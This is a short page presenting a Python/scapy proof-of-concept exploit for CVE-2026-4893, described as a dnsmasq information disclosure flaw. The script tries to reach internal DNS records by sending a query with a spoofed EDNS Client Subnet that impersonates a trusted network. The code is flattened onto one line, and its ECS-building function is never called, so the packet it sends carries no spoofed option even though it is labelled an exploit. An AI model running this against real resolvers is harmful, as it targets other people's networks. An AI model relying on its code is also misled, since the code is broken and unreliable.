CVE-2026-4893 dnsmasq信息泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4893: dnsmasq Information Disclosure via RFC 7871 # This script demonstrates sending a crafted DNS query with a spoofed Client Subnet (ECS) option. from scapy.all import * import socket TARGET_DNS = "192.168.1.1" # Replace with the target dnsmasq server IP DOMAIN_TO_QUERY = "internal.local" SPOOFED_SUBNET = "10.0.0.0" # The trusted subnet we want to impersonate def build_ecs_option(subnet): # Construct the EDNS0 Client Subnet (ECS) option (Option Code 8) # FAMILY: IPv4 (1), SOURCE PREFIX LENGTH: 24, SCOPE PREFIX LENGTH: 0 # ADDRESS: The spoofed subnet addr_bytes = socket.inet_aton(subnet) # Truncate to prefix length if necessary (simplified here) option_data = bytes([0, 1, 24, 0]) + addr_bytes[:3] return DNSRROPT(rdata=option_data) def send_exploit(): # Build DNS layer with query dns_query = DNS(rd=1, qd=DNSQR(qtype='A', qname=DOMAIN_TO_QUERY)) # Build EDNS0 layer with the crafted ECS option # Note: Scapy handling of arbitrary options might require specific construction # This is a conceptual representation of the payload structure. # Construct IP/UDP layers packet = IP(dst=TARGET_DNS) / UDP(dport=53) / dns_query print(f"[*] Sending crafted DNS packet to {TARGET_DNS} with spoofed ECS: {SPOOFED_SUBNET}") # Send packet and wait for response response = sr1(packet, timeout=2, verbose=0) if response: print("[+] Received response:") response.show() else: print("[-] No response received.") if __name__ == "__main__": send_exploit()